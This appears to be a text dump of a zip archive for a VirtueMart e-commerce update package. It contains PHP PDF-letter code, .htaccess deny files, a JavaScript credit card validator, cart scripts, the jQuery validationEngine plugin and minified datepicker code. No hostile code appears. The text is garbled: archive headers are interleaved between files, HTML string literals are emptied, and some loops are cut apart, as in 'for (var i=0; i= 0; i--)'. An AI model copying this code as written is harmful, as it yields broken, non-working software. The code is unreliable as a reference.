      from the address, which is inserted by renderVendorAddress automatically! if (substr($this->vendorAddress, -5, 5) == '
      ') { $this->vendorAddress = substr($this->vendorAddress, 0, -5); } $vmFont=$this->vendor->vendor_letter_font; $this->SetFont($vmFont, '', $this->vendor->vendor_letter_font_size, '', 'false'); $this->setHeaderFont(Array($vmFont, '', $this->vendor->vendor_letter_header_font_size )); $this->setFooterFont(Array($vmFont, '', $this->vendor->vendor_letter_footer_font_size )); // Remove all vertical margins and padding from the HTML cells (default is excessive padding): $this->SetCellPadding(0); $tagvs = array('p' => array(0 => array('h' => 0, 'n' => 0), 1 => array('h' => 0, 'n' => 0)), 'div' => array(0 => array('h' => 0, 'n' => 0), 1 => array('h' => 0, 'n' => 0)), 'h1' => array(0 => array('h' => 0, 'n' => 0), 1 => array('h' => 0, 'n' => 0)), 'h2' => array(0 => array('h' => 0, 'n' => 0), 1 => array('h' => 0, 'n' => 0)), 'h3' => array(0 => array('h' => 0, 'n' => 0), 1 => array('h' => 0, 'n' => 0)), 'table' => array(0 => array('h' => 0, 'n' => 0), 1 => array('h' => 0, 'n' => 0)), ); $this->setHtmlVSpace($tagvs); // set default font subsetting mode $this->setFontSubsetting(true); // set default monospaced font // $this->SetDefaultMonospacedFont(PDF_FONT_MONOSPACED); //set margins $this->SetMargins($this->vendor->vendor_letter_margin_left, $this->vendor->vendor_letter_margin_top, $this->vendor->vendor_letter_margin_right); $this->SetHeaderMargin($this->vendor->vendor_letter_margin_header); $this->SetFooterMargin($this->vendor->vendor_letter_margin_footer); $this->SetAutoPageBreak(TRUE, $this->vendor->vendor_letter_margin_bottom); //set image scale factor $this->setImageScale(PDF_IMAGE_SCALE_RATIO); //TODO include the right file (in libraries/tcpdf/config/lang set some language-dependent strings $l=''; $this->setLanguageArray($l); } /** Replace variables like {vm:page}, {vm:pagecount} etc. in the given string */ function replace_variables($txt) { // TODO: Implement more Placeholders (ordernr, invoicenr, etc.) // Use PageNo rather than getAliasNumPage, since the alias will be misaligned (spaced like the {:npn:} text rather than the final number) $txt = str_replace('{vm:pagenum}', $this->/*getAliasNumPage*/PageNo(), $txt); // Can't use getNumPages, because when this is evaluated, we don't know the final number of pages (getNumPages is always equal to the current page numbe) $txt = str_replace('{vm:pagecount}', $this->getAliasNbPages/*getNumPages*/(), $txt); $txt = str_replace('{vm:vendorname}', $this->vendor->vendor_store_name, $txt); $imgrepl=''; if (!empty($this->vendor->images)) { $img = $this->vendor->images[0]; $imgrepl = "
      ".$img->displayIt($img->file_url,'','',false, '', false, false)."
      "; } $txt = str_replace('{vm:vendorimage}', $imgrepl, $txt); $txt = str_replace('{vm:vendoraddress}', $this->vendorAddress, $txt); $txt = str_replace('{vm:vendorlegalinfo}', $this->vendor->vendor_legal_info, $txt); $txt = str_replace('{vm:vendordescription}', $this->vendor->vendor_store_desc, $txt); $txt = str_replace('{vm:tos}', $this->vendor->vendor_terms_of_service, $txt); return "$txt"; } public function PrintContents($html) { $contents = $this->replace_variables ($html); $this->writeHTMLCell($w=0, $h=0, $x='', $y='', $contents, $border=0, $ln=1, $fill=0, $reseth=true, $align='', $autopadding=true); } public function Footer() { if ($this->vendor->vendor_letter_footer == 1) { $footertxt = ''; $footertxt .= ''; $currentCHRF = $this->getCellHeightRatio(); $this->setCellHeightRatio($this->vendor->vendor_letter_footer_cell_height_ratio); if (!class_exists ('JFile')) { require(JPATH_VM_LIBRARIES . DS . 'joomla' . DS . 'filesystem' . DS . 'file.php'); } $tcpdf6 = JFile::exists(JPATH_VM_LIBRARIES.DS.'tcpdf'.DS.'include'.DS.'tcpdf_color.php'); if($tcpdf6){ $getAllSpotColors = TCPDF::getAllSpotColors(); $vlfooterlcolor = TCPDF_COLORS::convertHTMLColorToDec($this->vendor->vendor_letter_footer_line_color,$getAllSpotColors); } else { $vlfooterlcolor = $this->convertHTMLColorToDec($this->vendor->vendor_letter_footer_line_color); } //set style for cell border $border = 0; if ($this->vendor->vendor_letter_footer_line == 1) { $line_width = 0.85 / $this->getScaleFactor(); $this->SetLineStyle(array('width' => $line_width, 'cap' => 'butt', 'join' => 'miter', 'dash' => 0, 'color' => $vlfooterlcolor)); $border = 'T'; } // TODO: Implement cell_height // $cell_height = round(($this->getCellHeightRatio() * $footerfont[2]) / $this->getScaleFactor(), 2); $cell_height=1; $this->writeHTMLCell(0, $cell_height, '', '', $footertxt, $border, 1, 0, true, '', true); // Set it back $this->setCellHeightRatio($currentCHRF); } } public function Header() { if ($this->vendor->vendor_letter_header != 1) return; if ($this->header_xobjid < 0) { // start a new XObject Template $this->header_xobjid = $this->startTemplate($this->w, $this->tMargin); $headerfont = $this->getHeaderFont(); $headerdata = $this->getHeaderData(); $this->y = $this->header_margin; $headertxt = ''; $headertxt .= '
      ' . $this->replace_variables($headerdata['string']) . '
      '; $currentCHRF = $this->getCellHeightRatio(); $this->setCellHeightRatio($this->vendor->vendor_letter_header_cell_height_ratio); if ($this->rtl) { $this->x = $this->w - $this->original_rMargin; } else { $this->x = $this->original_lMargin; } $header_x = (($this->getRTL())?($this->original_rMargin):($this->original_lMargin)); $cw = $this->w - $this->original_lMargin - $this->original_rMargin; if (($headerdata['logo']) AND ($headerdata['logo'] != K_BLANK_IMAGE)) { $imgtype = $this->getImageFileType(K_PATH_IMAGES.DS.$headerdata['logo']); if (($imgtype == 'eps') OR ($imgtype == 'ai')) { $this->ImageEps(K_PATH_IMAGES.DS.$headerdata['logo'], '', '', $headerdata['logo_width']); } elseif ($imgtype == 'svg') { $this->ImageSVG(K_PATH_IMAGES.DS.$headerdata['logo'], '', '', $headerdata['logo_width']); } else { $this->Image(K_PATH_IMAGES.DS.$headerdata['logo'], '', '', $headerdata['logo_width']); } $imgy = $this->getImageRBY(); $header_x += ($headerdata['logo_width'] * 1.1); $cw -= ($headerdata['logo_width'] * 1.1); } else { $imgy = $this->y; } // $cell_height = round(($this->cell_height_ratio * $headerfont[2]) / $this->k, 2); // set starting margin for text data cell $this->SetTextColorArray($this->header_text_color); // header string $this->SetFont($headerfont[0], $headerfont[1], $headerfont[2]); $this->SetX($header_x); $this->writeHTMLCell($cw, /*$cell_height*/0, $this->x, $this->header_margin, $headertxt, '', /*$ln=*/2, false, /*$reseth*/true, '', /*$autopadding=*/true); // print an ending header line if ($this->vendor->vendor_letter_header_line == 1) { $this->SetLineStyle(array('width' => 0.85 / $this->k, 'cap' => 'butt', 'join' => 'miter', 'dash' => 0, 'color' => $headerdata['line_color'])); $this->SetY(max($imgy,$this->y)); if ($this->rtl) { $this->SetX($this->original_rMargin); } else { $this->SetX($this->original_lMargin); } $this->Cell(($this->w - $this->original_lMargin - $this->original_rMargin), 0, '', 'T', 0, 'C'); } $this->setCellHeightRatio($currentCHRF); $this->endTemplate(); } // print header template $x = 0; $dx = 0; if (!$this->header_xobj_autoreset AND $this->booklet AND (($this->page % 2) == 0)) { // adjust margins for booklet mode $dx = ($this->original_lMargin - $this->original_rMargin); } if ($this->rtl) { $x = $this->w + $dx; } else { $x = 0 + $dx; } $this->printTemplate($this->header_xobjid, $x, 0, 0, 0, '', '', false); if ($this->header_xobj_autoreset) { // reset header xobject template at each page $this->header_xobjid = -1; } } } } PKtl>\)Acom_virtuemart_update/components/com_virtuemart/helpers/.htaccessnuW+A Order allow,deny Deny from all PKtl>\)@com_virtuemart_update/components/com_virtuemart/assets/.htaccessnuW+A Order allow,deny Deny from all PKtl>\Tq#Ncom_virtuemart_update/components/com_virtuemart/assets/js/jquery.noConflict.jsnuW+AjQuery.noConflict();PKtl>\^cWh$$Icom_virtuemart_update/components/com_virtuemart/assets/js/vmcreditcard.jsnuW+A/*================================================================================================*/ /* * * donwloaded from http://www.braemoor.co.uk/software/creditcard.shtml * adapted by Valerie Isaksen * */ /* This routine checks the credit card number. The following checks are made: 1. A number has been provided 2. The number is a right length for the card 3. The number has an appropriate prefix for the card 4. The number has a valid modulus 10 number check digit if required If the validation fails an error is reported. The structure of credit card formats was gleaned from a variety of sources on the web, although the best is probably on Wikepedia ("Credit card number"): http://en.wikipedia.org/wiki/Credit_card_number Parameters: cardnumber number on the card cardname name of card as defined in the card list below Author: John Gardner Date: 1st November 2003 Updated: 26th Feb. 2005 Additional cards added by request Updated: 27th Nov. 2006 Additional cards added from Wikipedia Updated: 18th Jan. 2008 Additional cards added from Wikipedia Updated: 26th Nov. 2008 Maestro cards extended Updated: 19th Jun. 2009 Laser cards extended from Wikipedia Updated: 11th Sep. 2010 Typos removed from Diners and Solo definitions (thanks to Noe Leon) Updated: 10th April 2012 New matches for Maestro, Diners Enroute and Switch Updated: 17th October 2012 Diners Club prefix 38 not encoded */ /* If a credit card number is invalid, an error reason is loaded into the global ccErrorNo variable. This can be be used to index into the global error string array to report the reason to the user if required: e.g. if (!checkCreditCard (number, name) alert (ccErrors(ccErrorNo); */ var ccErrorNo = 0; /*************************************************************************\ boolean isExpiryDate([int year, int month]) return true if the date is a valid expiry date, else return false. \*************************************************************************/ function CreditCardisExpiryDate(month, year,paymentmethod_id) { document.getElementById("cc_expiredate_errormsg_"+paymentmethod_id).style.display="none"; document.getElementById("cc_expiredate_errormsg_"+paymentmethod_id).innerHTML =''; today = new Date(); expiry = new Date(year, month); if (today.getTime() > expiry.getTime()) { var error_msg = ccErrors [5] ; document.getElementById("cc_expiredate_errormsg_"+ paymentmethod_id).style.display="block"; document.getElementById("cc_expiredate_errormsg_"+ paymentmethod_id).innerHTML =error_msg; return false; } else return true; } function CheckCreditCardNumber(cardnumber, paymentmethod_id){ for (cardType = 0; cardType < 13 ; cardType++) { if(checkCreditCard(cardnumber,cardType)){ return true; } } var error_msg = ccErrors [ccErrorNo] ; document.getElementById("cc_cardnumber_errormsg_"+ paymentmethod_id).style.display="block"; document.getElementById("cc_cardnumber_errormsg_"+ paymentmethod_id).innerHTML =error_msg; return false; } function razCCerror(paymentmethod_id){ document.getElementById("cc_cardnumber_errormsg_" + paymentmethod_id).style.display="none"; document.getElementById("cc_cardnumber_errormsg_" + paymentmethod_id).innerHTML =''; return true; } function checkCreditCard (cardnumber, cardname) { // Array to hold the permitted card characteristics var cards = new Array(); // Define the cards we support. You may add addtional card types as follows. // Name: As in the selection box of the form - must be same as user's // Length: List of possible valid lengths of the card number for the card // prefixes: List of possible prefixes for the card // checkdigit: Boolean to say whether there is a check digit cards [0] = {name: "Visa", length: "13,16", prefixes: "4", checkdigit: true}; cards [1] = {name: "MasterCard", length: "16", prefixes: "51,52,53,54,55", checkdigit: true}; cards [2] = {name: "DinersClub", length: "14,16", prefixes: "36,38,54,55", checkdigit: true}; cards [3] = {name: "CarteBlanche", length: "14", prefixes: "300,301,302,303,304,305", checkdigit: true}; cards [4] = {name: "AmEx", length: "15", prefixes: "34,37", checkdigit: true}; cards [5] = {name: "Discover", length: "16", prefixes: "6011,622,64,65", checkdigit: true}; cards [6] = {name: "JCB", length: "16", prefixes: "35", checkdigit: true}; cards [7] = {name: "enRoute", length: "15", prefixes: "2014,2149", checkdigit: true}; cards [8] = {name: "Solo", length: "16,18,19", prefixes: "6334,6767", checkdigit: true}; cards [9] = {name: "Switch", length: "16,18,19", prefixes: "4903,4905,4911,4936,564182,633110,6333,6759", checkdigit: true}; cards [10] = {name: "Maestro", length: "12,13,14,15,16,18,19", prefixes: "5018,5020,5038,6304,6759,6761,6762,6763", checkdigit: true}; cards [11] = {name: "VisaElectron", length: "16", prefixes: "4026,417500,4508,4844,4913,4917", checkdigit: true}; cards [12] = {name: "LaserCard", length: "16,17,18,19", prefixes: "6304,6706,6771,6709", checkdigit: true}; // Establish card type var cardType = -1; for (var i=0; i= 0; i--) { // Extract the next digit and multiply by 1 or 2 on alternative digits. calc = Number(cardNo.charAt(i)) * j; // If the result is in two digits add 1 to the checksum total if (calc > 9) { checksum = checksum + 1; calc = calc - 10; } // Add the units element to the checksum total checksum = checksum + calc; // Switch the value of j if (j ==1) {j = 2} else {j = 1}; } // All done - if checksum is divisible by 10, it is a valid modulus 10. // If not, report an error. if (checksum % 10 != 0) { ccErrorNo = 3; return false; } } // Check it's not a spam number if (cardNo == '5490997771092064') { ccErrorNo = 5; return false; } // The following are the card-specific checks we undertake. var LengthValid = false; var PrefixValid = false; var undefined; // We use these for holding the valid lengths and prefixes of a card type var prefix = new Array (); var lengths = new Array (); // Load an array with the valid prefixes for this card prefix = cards[cardType].prefixes.split(","); // Now see if any of them match what we have in the card number for (i=0; i\_::Ecom_virtuemart_update/components/com_virtuemart/assets/js/vmprices.jsnuW+Aif(typeof Virtuemart === "undefined") { var Virtuemart = { setproducttype : function (form, id) { form.view = null; var $ = jQuery, datas = form.serialize(); var prices = form.parent(".productdetails").find(".product-price"); if (0 == prices.length) { prices = $("#productPrice" + id); } datas = datas.replace("&view=cart", ""); prices.fadeTo("fast", 0.75); $.getJSON(window.vmSiteurl + 'index.php?option=com_virtuemart&nosef=1&view=productdetails&task=recalculate&virtuemart_product_id='+id+'&format=json' + window.vmLang, encodeURIComponent(datas), function (datas, textStatus) { prices.fadeTo("fast", 1); // refresh price for (var key in datas) { var value = datas[key]; if (value!=0) prices.find("span.Price"+key).show().html(value); else prices.find(".Price"+key).html(0).hide(); } }); return false; // prevent reload }, productUpdate : function(mod) { var $ = jQuery ; $.ajaxSetup({ cache: false }) $.getJSON(window.vmSiteurl+"index.php?option=com_virtuemart&nosef=1&view=cart&task=viewJS&format=json"+window.vmLang, function(datas, textStatus) { if (datas.totalProduct >0) { mod.find(".vm_cart_products").html(""); $.each(datas.products, function(key, val) { $("#hiddencontainer .container").clone().appendTo(".vmCartModule .vm_cart_products"); $.each(val, function(key, val) { if ($("#hiddencontainer .container ."+key)) mod.find(".vm_cart_products ."+key+":last").html(val) ; }); }); mod.find(".total").html(datas.billTotal); mod.find(".show_cart").html(datas.cart_show); } mod.find(".total_products").html(datas.totalProductTxt); } ); }, sendtocart : function (form){ if (Virtuemart.addtocart_popup ==1) { Virtuemart.cartEffect(form) ; } else { form.append(''); form.submit(); } }, cartEffect : function(form) { var $ = jQuery ; $.ajaxSetup({ cache: false }); var datas = form.serialize(); if(usefancy){ $.fancybox.showActivity(); } $.getJSON(vmSiteurl+'index.php?option=com_virtuemart&nosef=1&view=cart&task=addJS&format=json'+vmLang,datas, function(datas, textStatus) { if(datas.stat ==1){ var txt = datas.msg; } else if(datas.stat ==2){ var txt = datas.msg +"

      "+form.find(".pname").val()+"

      "; } else { var txt = "

      "+vmCartError+"

      "+datas.msg; } if(usefancy){ $.fancybox({ "titlePosition" : "inside", "transitionIn" : "fade", "transitionOut" : "fade", "changeFade" : "fast", "type" : "html", "autoCenter" : true, "closeBtn" : false, "closeClick" : false, "content" : txt } ); } else { $.facebox.settings.closeImage = closeImage; $.facebox.settings.loadingImage = loadingImage; //$.facebox.settings.faceboxHtml = faceboxHtml; $.facebox({ text: txt }, 'my-groovy-style'); } if ($(".vmCartModule")[0]) { Virtuemart.productUpdate($(".vmCartModule")); } }); $.ajaxSetup({ cache: true }); }, product : function(carts) { carts.each(function(){ var cart = jQuery(this), step=cart.find('input[name="quantity"]'), addtocart = cart.find('input.addtocart-button'), plus = cart.find('.quantity-plus'), minus = cart.find('.quantity-minus'), select = cart.find('select:not(.no-vm-bind)'), radio = cart.find('input:radio:not(.no-vm-bind)'), virtuemart_product_id = cart.find('input[name="virtuemart_product_id[]"]').val(), quantity = cart.find('.quantity-input'); var Ste = parseInt(step.val()); //Fallback for layouts lower than 2.0.18b if(isNaN(Ste)){ Ste = 1; } addtocart.click(function(e) { Virtuemart.sendtocart(cart); return false; }); plus.click(function() { var Qtt = parseInt(quantity.val()); if (!isNaN(Qtt)) { quantity.val(Qtt + Ste); Virtuemart.setproducttype(cart,virtuemart_product_id); } }); minus.click(function() { var Qtt = parseInt(quantity.val()); if (!isNaN(Qtt) && Qtt>Ste) { quantity.val(Qtt - Ste); } else quantity.val(Ste); Virtuemart.setproducttype(cart,virtuemart_product_id); }); select.change(function() { Virtuemart.setproducttype(cart,virtuemart_product_id); }); radio.change(function() { Virtuemart.setproducttype(cart,virtuemart_product_id); }); quantity.keyup(function() { Virtuemart.setproducttype(cart,virtuemart_product_id); }); }); } }; jQuery.noConflict(); jQuery(document).ready(function($) { Virtuemart.product($("form.product")); $("form.js-recalculate").each(function(){ if ($(this).find(".product-fields").length && !$(this).find(".no-vm-bind").length) { var id= $(this).find('input[name="virtuemart_product_id[]"]').val(); Virtuemart.setproducttype($(this),id); } }); }); } PKtl>\Dcom_virtuemart_update/components/com_virtuemart/assets/js/index.htmlnuW+APKtl>\CTcom_virtuemart_update/components/com_virtuemart/assets/js/jquery.validationEngine.jsnuW+A/* * Inline Form Validation Engine 2.1, jQuery plugin * * Copyright(c) 2010, Cedric Dugas * http://www.position-absolute.com * * 2.0 Rewrite by Olivier Refalo * http://www.crionics.com * * Form validation engine allowing custom regex rules to be added. * Licensed under the MIT License */ (function($) { var methods = { /** * Kind of the constructor, called before any action * @param {Map} user options */ init: function(options) { var form = this; if (!form.data('jqv') || form.data('jqv') == null ) { methods._saveOptions(form, options); // bind all formError elements to close on click $(".formError").live("click", function() { $(this).fadeOut(150, function() { // remove prompt once invisible $(this).remove(); }); }); } }, /** * Attachs jQuery.validationEngine to form.submit and field.blur events * Takes an optional params: a list of options * ie. jQuery("#formID1").validationEngine('attach', {promptPosition : "centerRight"}); */ attach: function(userOptions) { var form = this; var options; if(userOptions) options = methods._saveOptions(form, userOptions); else options = form.data('jqv'); if (!options.binded) { if (options.bindMethod == "bind"){ // bind fields form.find("[class*=validate]:not([type=checkbox])").bind(options.validationEventTrigger, methods._onFieldEvent); form.find("[class*=validate][type=checkbox]").bind("click", methods._onFieldEvent); // bind form.submit form.bind("submit", methods._onSubmitEvent); } else if (options.bindMethod == "live") { // bind fields with LIVE (for persistant state) form.find("[class*=validate]:not([type=checkbox])").live(options.validationEventTrigger, methods._onFieldEvent); form.find("[class*=validate][type=checkbox]").live("click", methods._onFieldEvent); // bind form.submit form.live("submit", methods._onSubmitEvent); } options.binded = true; } }, /** * Unregisters any bindings that may point to jQuery.validaitonEngine */ detach: function() { var form = this; var options = form.data('jqv'); if (options.binded) { // unbind fields form.find("[class*=validate]").not("[type=checkbox]").unbind(options.validationEventTrigger, methods._onFieldEvent); form.find("[class*=validate][type=checkbox]").unbind("click", methods._onFieldEvent); // unbind form.submit form.unbind("submit", methods.onAjaxFormComplete); // unbind live fields (kill) form.find("[class*=validate]").not("[type=checkbox]").die(options.validationEventTrigger, methods._onFieldEvent); form.find("[class*=validate][type=checkbox]").die("click", methods._onFieldEvent); // unbind form.submit form.die("submit", methods.onAjaxFormComplete); form.removeData('jqv'); } }, /** * Validates the form fields, shows prompts accordingly. * Note: There is no ajax form validation with this method, only field ajax validation are evaluated * * @return true if the form validates, false if it fails */ validate: function() { return methods._validateFields(this); }, /** * Validates one field, shows prompt accordingly. * Note: There is no ajax form validation with this method, only field ajax validation are evaluated * * @return true if the form validates, false if it fails */ validateField: function(el) { var options = $(this).data('jqv'); return methods._validateField($(el), options); }, /** * Validates the form fields, shows prompts accordingly. * Note: this methods performs fields and form ajax validations(if setup) * * @return true if the form validates, false if it fails, undefined if ajax is used for form validation */ validateform: function() { return methods._onSubmitEvent.call(this); }, /** * Displays a prompt on a element. * Note that the element needs an id! * * @param {String} promptText html text to display type * @param {String} type the type of bubble: 'pass' (green), 'load' (black) anything else (red) * @param {String} possible values topLeft, topRight, bottomLeft, centerRight, bottomRight */ showPrompt: function(promptText, type, promptPosition, showArrow) { var form = this.closest('form'); var options = form.data('jqv'); // No option, take default one if(!options) options = methods._saveOptions(this, options); if(promptPosition) options.promptPosition=promptPosition; options.showArrow = showArrow==true; methods._showPrompt(this, promptText, type, false, options); }, /** * Closes all error prompts on the page */ hidePrompt: function() { var promptClass = "."+ methods._getClassName($(this).attr("id")) + "formError" $(promptClass).fadeTo("fast", 0.3, function() { $(this).remove(); }); }, /** * Closes form error prompts, CAN be invidual */ hide: function() { if($(this).is("form")){ var closingtag = "parentForm"+$(this).attr('id'); }else{ var closingtag = $(this).attr('id') +"formError" } $('.'+closingtag).fadeTo("fast", 0.3, function() { $(this).remove(); }); }, /** * Closes all error prompts on the page */ hideAll: function() { $('.formError').fadeTo("fast", 0.3, function() { $(this).remove(); }); }, /** * Typically called when user exists a field using tab or a mouse click, triggers a field * validation */ _onFieldEvent: function() { var field = $(this); var form = field.closest('form'); var options = form.data('jqv'); // validate the current field methods._validateField(field, options); }, /** * Called when the form is submited, shows prompts accordingly * * @param {jqObject} * form * @return false if form submission needs to be cancelled */ _onSubmitEvent: function() { var form = $(this); var options = form.data('jqv'); // validate each field (- skip field ajax validation, no necessary since we will perform an ajax form validation) var r=methods._validateFields(form, true); if (r && options.ajaxFormValidation) { methods._validateFormWithAjax(form, options); return false; } if(options.onValidationComplete) { options.onValidationComplete(form, r); return false; } return r; }, /** * Return true if the ajax field validations passed so far * @param {Object} options * @return true, is all ajax validation passed so far (remember ajax is async) */ _checkAjaxStatus: function(options) { var status = true; $.each(options.ajaxValidCache, function(key, value) { if (!value) { status = false; // break the each return false; } }); return status; }, /** * Validates form fields, shows prompts accordingly * * @param {jqObject} * form * @param {skipAjaxFieldValidation} * boolean - when set to true, ajax field validation is skipped, typically used when the submit button is clicked * * @return true if form is valid, false if not, undefined if ajax form validation is done */ _validateFields: function(form, skipAjaxValidation) { var options = form.data('jqv'); // this variable is set to true if an error is found var errorFound = false; // Trigger hook, start validation form.trigger("jqv.form.validating") // first, evaluate status of non ajax fields form.find('[class*=validate]').not(':hidden').each( function() { var field = $(this); errorFound |= methods._validateField(field, options, skipAjaxValidation); }); // second, check to see if all ajax calls completed ok // errorFound |= !methods._checkAjaxStatus(options); // thrird, check status and scroll the container accordingly form.trigger("jqv.form.result", [errorFound]) if (errorFound) { if (options.scroll) { // get the position of the first error, there should be at least one, no need to check this //var destination = form.find(".formError:not('.greenPopup'):first").offset().top; // look for the visually top prompt var destination = Number.MAX_VALUE; var lst = $(".formError:not('.greenPopup')"); for (var i = 0; i < lst.length; i++) { var d = $(lst[i]).offset().top; if (d < destination) destination = d; } if (!options.isOverflown) $("html:not(:animated),body:not(:animated)").animate({ scrollTop: destination }, 1100); else { var overflowDIV = $(options.overflownDIV); var scrollContainerScroll = overflowDIV.scrollTop(); var scrollContainerPos = -parseInt(overflowDIV.offset().top); destination += scrollContainerScroll + scrollContainerPos - 5; var scrollContainer = $(options.overflownDIV + ":not(:animated)"); scrollContainer.animate({ scrollTop: destination }, 1100); } } return false; } return true; }, /** * This method is called to perform an ajax form validation. * During this process all the (field, value) pairs are sent to the server which returns a list of invalid fields or true * * @param {jqObject} form * @param {Map} options */ _validateFormWithAjax: function(form, options) { var data = form.serialize(); var url = (options.ajaxFormValidationURL) ? options.ajaxFormValidationURL : form.attr("action"); $.ajax({ type: "GET", url: url, cache: false, dataType: "json", data: data, form: form, methods: methods, options: options, beforeSend: function() { return options.onBeforeAjaxFormValidation(form, options); }, error: function(data, transport) { methods._ajaxError(data, transport); }, success: function(json) { if (json !== true) { // getting to this case doesn't necessary means that the form is invalid // the server may return green or closing prompt actions // this flag helps figuring it out var errorInForm=false; for (var i = 0; i < json.length; i++) { var value = json[i]; var errorFieldId = value[0]; var errorField = $($("#" + errorFieldId)[0]); // make sure we found the element if (errorField.length == 1) { // promptText or selector var msg = value[2]; // if the field is valid if (value[1] == true) { if (msg == "" || !msg){ // if for some reason, status==true and error="", just close the prompt methods._closePrompt(errorField); } else { // the field is valid, but we are displaying a green prompt if (options.allrules[msg]) { var txt = options.allrules[msg].alertTextOk; if (txt) msg = txt; } methods._showPrompt(errorField, msg, "pass", false, options, true); } } else { // the field is invalid, show the red error prompt errorInForm|=true; if (options.allrules[msg]) { var txt = options.allrules[msg].alertText; if (txt) msg = txt; } methods._showPrompt(errorField, msg, "", false, options, true); } } } options.onAjaxFormComplete(!errorInForm, form, json, options); } else options.onAjaxFormComplete(true, form, "", options); } }); }, /** * Validates field, shows prompts accordingly * * @param {jqObject} * field * @param {Array[String]} * field's validation rules * @param {Map} * user options * @return true if field is valid */ _validateField: function(field, options, skipAjaxValidation) { if (!field.attr("id")) $.error("jQueryValidate: an ID attribute is required for this field: " + field.attr("name") + " class:" + field.attr("class")); var rulesParsing = field.attr('class'); var getRules = /validate\[(.*)\]/.exec(rulesParsing); if (!getRules) return false; var str = getRules[1]; var rules = str.split(/\[|,|\]/); // true if we ran the ajax validation, tells the logic to stop messing with prompts var isAjaxValidator = false; var fieldName = field.attr("name"); var promptText = ""; var required = false; options.isError = false; options.showArrow = true; optional = false; for (var i = 0; i < rules.length; i++) { var errorMsg = undefined; switch (rules[i]) { case "optional": optional = true; break; case "required": required = true; errorMsg = methods._required(field, rules, i, options); break; case "custom": errorMsg = methods._customRegex(field, rules, i, options); break; case "ajax": // ajax has its own prompts handling technique if(!skipAjaxValidation){ methods._ajax(field, rules, i, options); isAjaxValidator = true; } break; case "minSize": errorMsg = methods._minSize(field, rules, i, options); break; case "maxSize": errorMsg = methods._maxSize(field, rules, i, options); break; case "min": errorMsg = methods._min(field, rules, i, options); break; case "max": errorMsg = methods._max(field, rules, i, options); break; case "past": errorMsg = methods._past(field, rules, i, options); break; case "future": errorMsg = methods._future(field, rules, i, options); break; case "maxCheckbox": errorMsg = methods._maxCheckbox(field, rules, i, options); field = $($("input[name='" + fieldName + "']")); break; case "minCheckbox": errorMsg = methods._minCheckbox(field, rules, i, options); field = $($("input[name='" + fieldName + "']")); break; case "equals": errorMsg = methods._equals(field, rules, i, options); break; case "funcCall": errorMsg = methods._funcCall(field, rules, i, options); break; default: //$.error("jQueryValidator rule not found"+rules[i]); } if (errorMsg !== undefined) { promptText += errorMsg + "
      "; options.isError = true; } } // If the rules required is not added, an empty field is not validated if(!required){ if(field.val() == "") options.isError = false; } // Hack for radio/checkbox group button, the validation go into the // first radio/checkbox of the group var fieldType = field.attr("type"); if ((fieldType == "radio" || fieldType == "checkbox") && $("input[name='" + fieldName + "']").size() > 1) { field = $($("input[name='" + fieldName + "'][type!=hidden]:first")); options.showArrow = false; } if (options.isError){ methods._showPrompt(field, promptText, "", false, options); }else{ if (!isAjaxValidator) methods._closePrompt(field); } field.closest('form').trigger("jqv.field.error", [field, options.isError, promptText]) return options.isError; }, /** * Required validation * * @param {jqObject} field * @param {Array[String]} rules * @param {int} i rules index * @param {Map} * user options * @return an error string if validation failed */ _required: function(field, rules, i, options) { switch (field.attr("type")) { case "text": case "password": case "textarea": case "file": default: if (!field.val()) return options.allrules[rules[i]].alertText; break; case "radio": case "checkbox": var name = field.attr("name"); if ($("input[name='" + name + "']:checked").size() == 0) { if ($("input[name='" + name + "']").size() == 1) return options.allrules[rules[i]].alertTextCheckboxe; else return options.allrules[rules[i]].alertTextCheckboxMultiple; } break; // required for ');this._dialogInput.keydown(this._doKeyDown);d("body").append(this._dialogInput); a=this._dialogInst=this._newInst(this._dialogInput,false);a.settings={};d.data(this._dialogInput[0],"datepicker",a)}H(a.settings,e||{});b=b&&b.constructor==Date?this._formatDate(a,b):b;this._dialogInput.val(b);this._pos=f?f.length?f:[f.pageX,f.pageY]:null;if(!this._pos)this._pos=[document.documentElement.clientWidth/2-100+(document.documentElement.scrollLeft||document.body.scrollLeft),document.documentElement.clientHeight/2-150+(document.documentElement.scrollTop||document.body.scrollTop)];this._dialogInput.css("left", this._pos[0]+20+"px").css("top",this._pos[1]+"px");a.settings.onSelect=c;this._inDialog=true;this.dpDiv.addClass(this._dialogClass);this._showDatepicker(this._dialogInput[0]);d.blockUI&&d.blockUI(this.dpDiv);d.data(this._dialogInput[0],"datepicker",a);return this},_destroyDatepicker:function(a){var b=d(a),c=d.data(a,"datepicker");if(b.hasClass(this.markerClassName)){var e=a.nodeName.toLowerCase();d.removeData(a,"datepicker");if(e=="input"){c.append.remove();c.trigger.remove();b.removeClass(this.markerClassName).unbind("focus", this._showDatepicker).unbind("keydown",this._doKeyDown).unbind("keypress",this._doKeyPress).unbind("keyup",this._doKeyUp)}else if(e=="div"||e=="span")b.removeClass(this.markerClassName).empty()}},_enableDatepicker:function(a){var b=d(a),c=d.data(a,"datepicker");if(b.hasClass(this.markerClassName)){var e=a.nodeName.toLowerCase();if(e=="input"){a.disabled=false;c.trigger.filter("button").each(function(){this.disabled=false}).end().filter("img").css({opacity:"1.0",cursor:""})}else if(e=="div"||e=="span"){b= b.children("."+this._inlineClass);b.children().removeClass("ui-state-disabled");b.find("select.ui-datepicker-month, select.ui-datepicker-year").removeAttr("disabled")}this._disabledInputs=d.map(this._disabledInputs,function(f){return f==a?null:f})}},_disableDatepicker:function(a){var b=d(a),c=d.data(a,"datepicker");if(b.hasClass(this.markerClassName)){var e=a.nodeName.toLowerCase();if(e=="input"){a.disabled=true;c.trigger.filter("button").each(function(){this.disabled=true}).end().filter("img").css({opacity:"0.5", cursor:"default"})}else if(e=="div"||e=="span"){b=b.children("."+this._inlineClass);b.children().addClass("ui-state-disabled");b.find("select.ui-datepicker-month, select.ui-datepicker-year").attr("disabled","disabled")}this._disabledInputs=d.map(this._disabledInputs,function(f){return f==a?null:f});this._disabledInputs[this._disabledInputs.length]=a}},_isDisabledDatepicker:function(a){if(!a)return false;for(var b=0;b-1}},_doKeyUp:function(a){a=d.datepicker._getInst(a.target);if(a.input.val()!=a.lastVal)try{if(d.datepicker.parseDate(d.datepicker._get(a,"dateFormat"),a.input?a.input.val():null,d.datepicker._getFormatConfig(a))){d.datepicker._setDateFromField(a); d.datepicker._updateAlternate(a);d.datepicker._updateDatepicker(a)}}catch(b){d.datepicker.log(b)}return 